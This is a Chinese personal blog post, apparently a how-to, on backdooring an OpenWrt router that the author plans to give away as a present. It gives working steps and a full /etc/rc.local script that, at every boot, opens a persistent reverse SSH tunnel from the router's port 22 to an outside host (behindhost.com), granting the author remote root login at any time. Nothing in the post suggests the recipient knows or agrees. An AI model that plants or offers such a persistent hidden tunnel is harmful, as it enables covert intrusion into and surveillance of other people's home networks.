Changchun Master Li

我是这样给openwrt路由器开后门的

2017-01-30

手头有一个垃圾路由器,一直吃灰,闲着没事就刷了openwrt玩玩,本着物尽其用的原则,不如开个后门然后送人吧。。

需求

  • 路由器开机后尝试连接behindhost.com,将将本地22端口映射到behindhost.com:PORT
  • 可以随时 ssh root@behindhost.com:PORT 登录路由器

生成秘钥和公钥

如果openwrt使用ssh-keygen产生的秘钥,会有如下错误

1
ssh: Exited: String too long

所以要使用DropBear格式

1
dropbearkey -f id_rsa -t rsa -b 2048

在behindhost.com创建一个受限用户

1
useradd -m -s /bin/false limited_user

注意不要给受限用户可用的shell,防止路由器秘钥泄露产生安全隐患。然后在/home/limited_user/.ssh/authorized_keys中加入先前产生的公钥id_rsa.pub

路由器中修改/etc/rc.local

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh

(
until ping -nq -c3 www.baidu.com;
# 等待网络可用

do sleep 3;
done

while true
do
ssh -i /path/to/rsa -N -I 300 -R PORT:localhost:22 limited_user@behindhost.com -y
# 建立ssh连接,将本地22端口映射到PORT,-y项可以忽略fingerprint

echo "RESTARTING ..."
sleep 3;
done
)&

exit 0;

参考

fixing-ssh-exited-string-too-long-on-openwrt
how-to-create-a-restricted-ssh-user-for-port-forwarding

Tags: openwrt
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章